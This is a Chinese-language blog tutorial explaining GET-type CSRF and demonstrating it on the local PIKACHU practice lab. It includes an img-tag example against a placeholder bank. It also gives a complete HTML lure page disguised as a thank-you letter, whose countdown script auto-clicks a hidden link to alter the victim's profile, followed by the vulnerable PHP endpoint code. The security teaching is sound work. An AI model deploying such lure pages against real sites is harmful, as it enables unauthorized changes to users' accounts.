关注这个漏洞的其他相关笔记:CSRF 漏洞 - 学习手册-CSDN博客
0x01:GET 型 CSRF 漏洞攻击 —— 理论篇
GET 型 CSRF 漏洞是指攻击者通过构造恶意的 HTTP GET 请求,利用用户的登录状态,在用户不知情的情况下,诱使浏览器向受信任的网站发送请求,从而执行非用户意图的操作。
常见的攻击方式: 攻击者通过在站点中嵌入恶意链接到图片、链接或者隐藏的 iframe
中,诱使用户点击或者在不知情的情况下触发请求,从而发起攻击。例如,攻击者可以创建一个隐藏的 iframe,其中包含对银行网站的转账请求,当用户访问包含该 iframe 的页面时,浏览器会携带用户的会话 Cookie 自动发起转账请求,而用户可能对此还一无所知。
其攻击流程如下图所示:
比如,某家银行的转账接口请求包如下(假设该家银行存在 CSRF 漏洞):
http://bank.example.com?act=transfer&money=$money$&to=$email$
act=transfer -- 执行转账操作
money=$money$ -- 转账的金额
to=$email$ -- 转账的对象
那么攻击者通过在网页中嵌入下面的代码,并诱导用户访问,当用户访问嵌入了恶意代码的站点时,用户浏览器就自动会向 bank.example.com
站点的转账接口发起请求,导致攻击发生:
<img src="http://bank.example.com?act=transfer&money=100&to=hacker@test.com">
当然,前提是,用户登录了那家银行,而且登录凭证(Cookie or Session)还未失效。
0x02:GET 型 CSRF 漏洞攻击 —— 实战篇
实验工具准备
PHP 运行环境:phpstudy_x64_8.1.1.3.zip(Apache2.4.39 + PHP 5.6.9nts)
实验环境:PIKACHU 靶场 - CSRF(get) => 参考:PIKACHU —— 靶场笔记合集
本次的实验环境,我们采用现成的 PIKACHU 靶场,PIKACHU 靶场的安装方法参考上面提供的链接,这里就不多说了,下面直接进入演示流程。
0x0201:GET 型 CSRF 攻击
在浏览器的导航栏中输入下面的网址,访问实验环境:
http://localhost/pikachu/vul/csrf/csrfget/csrf_get_login.php
随机挑选一个账号进行登录,这里笔者选择的是,allen:123456
:
点击 ”修改个人信息“ 按钮,并打开浏览器的 ”开发者工具“ 进行抓包:
然后随便修改点信息,比如我把手机号修改成,123456,并点击 submit
进行提交,注意抓包:
可以看到,我们是通过 GET 方式向站点后端接口传递参数来修改我们的个人信息。如果这个接口没有做任何的安全防御措施,那我们完全可以通过直接访问这个 GET 请求的链接,来达到,向后端提交个人信息修改的这么一个操作。
上面的那条 GET 请求拿下来是这样的:
http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456&add=nba 76&email=allen@pikachu.com&submit=submit
我们手动把 add
参数变一下,比如改成 “翻斗花园翻斗大街 1408 号”:
http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456&add=翻斗花园翻斗大街 1408 号&email=allen@pikachu.com&submit=submit
然后直接通过浏览器访问上面的链接,可以发现,当前登录的用户(allen)的个人信息发生了改变:
此时已经可以判定,该站点修改个人信息的接口存在 CSRF 漏洞,攻击者可以很轻松的伪造符合接口要求的请求,只要网站的受信用户点击带有 CSRF 攻击的链接,即可被修改个人信息。(真的需要用户自己傻乎乎的去点吗?)
接下来,我们模拟攻击者,创造一个可以自动触发攻击代码的页面,将下面的 HTML 代码直接复制进一个 HTML 文件中,然后双击打开这个 HTML 文件即可:
<!-- File Name:cssrf_get.html -->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>感谢信</title>
<style>
body {
font-family: 'Times New Roman', serif;
background-color: #f4f4f4;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.declaration {
background-color: #fff;
padding: 20px;
border: 1px solid #ddd;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
max-width: 600px;
margin: auto;
}
h1 {
text-align: center;
color: #333;
}
p {
text-align: justify;
line-height: 1.6;
color: #666;
}
.modal {
position: fixed;
top: 20px;
right: 20px;
background-color: #fff;
padding: 20px;
border: 1px solid #ddd;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 10px;
}
.modal h2 {
margin: 0;
color: #333;
}
.modal p {
margin: 0;
color: #666;
}
.modal button {
padding: 10px 20px;
cursor: pointer;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 5px;
}
.hidden {
display: none;
}
</style>
</head>
<body>
<div class="declaration">
<h1>感谢信</h1>
<p>致亲爱的读者们:</p>
<p>首先,我想对每一位关注我的 CSDN 网安区博客的朋友们表示衷心的感谢。你们的支持和鼓励是我不断前进的动力。</p>
<p>自从我开始在 CSDN 上分享网络安全相关的知识和见解以来,我收到了许多宝贵的反馈和建议。这些交流不仅丰富了我的知识,也帮助我成长为一个更好的内容创作者。</p>
<p>我承诺将继续努力,为大家带来更多高质量的内容。同时,我也期待与大家有更多的互动和交流,共同探讨网络安全领域的最新动态和技术。</p>
<p>再次感谢大家的关注和支持,让我们一起在网络安全的道路上不断前行。</p>
<div class="signature">
<p>—— 您忠实的博主</p>
<p>[Blue17]</p>
<p>[2024/09/22]</p>
</div>
<a id="csrf_payload"
href="http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456&add=nba%2076%3Cbr%3E%3Cp%3E%E2%9D%A4Blue17%20Is%20A%20Good%20CSDN%20Creator%E2%9D%A4%3Cp%3E&email=allen%40pikachu.com&submit=submit"></a>
</div>
<div id="modal" class="modal hidden">
<h2>惊喜倒计时</h2>
<p id="countdown">20</p>
<button id="closeModal">关闭</button>
</div>
<script>
var modal = document.getElementById('modal');
var countdownElement = document.getElementById('countdown');
var closeModalButton = document.getElementById('closeModal');
var link = document.getElementById('csrf_payload');
// 显示模态框
modal.classList.remove('hidden');
// 倒计时
var countdown = 20;
var intervalId = setInterval(function() {
countdownElement.textContent = countdown;
countdown--;
if (countdown <= 0) {
clearInterval(intervalId);
// 模拟点击
link.click();
// 关闭模态框
modal.classList.add('hidden');
}
}, 1000);
// 关闭模态框
closeModalButton.addEventListener('click', function() {
clearInterval(intervalId);
modal.classList.add('hidden');
});
</script>
</body>
</html>
这个是笔者给诸位写的一份感谢信,怕诸位太过于感动,特地给你们写了一个阅读倒计时,当倒计时结束时,JavaScript 会模拟用户的点击事件,触发我藏在页面中的小彩蛋(CSRF 攻击指令),修改用户的个人信息,添加上我个人专属 Logo:
这个实验就是告诉诸位,你不点,有的是代码帮你点!至此,GET 型 CSRF 攻击演示完毕。
0x0202:GET 型 CSRF 代码分析
下面是触发 GET 型 CSRF 漏洞的关键代码:
// csrf_get_edit.php
$html1='';
if(isset($_GET['submit'])){
if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null){
$getdata=escape($link, $_GET);
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
header("location:csrf_get.php");
}else {
$html1.='修改失败,请重试';
}
}
}
上面的代码,简单来说,就是通过 $_GET
来获取前端用户传递过来的请求信息,并根据这些信息更新数据库中的内容。CSRF 漏洞发生的位置就是获取前端用户传递请求信息的部分。
因为接口传参太有规律了,太好猜了,Hacker 能一下子就找到这个接口参数的规律,从而发起攻击。有没有觉得一阵后怕,回想一下自己写的那些业务接口,谁会没事找两个随机参数进行传递?
所以,安全,和便捷,永远是两个对立面,我们能做的,也就是尽量找到最优解。
0x03:参考文献
-
Cookie 的 SameSite 属性 - 阮一峰的网络日志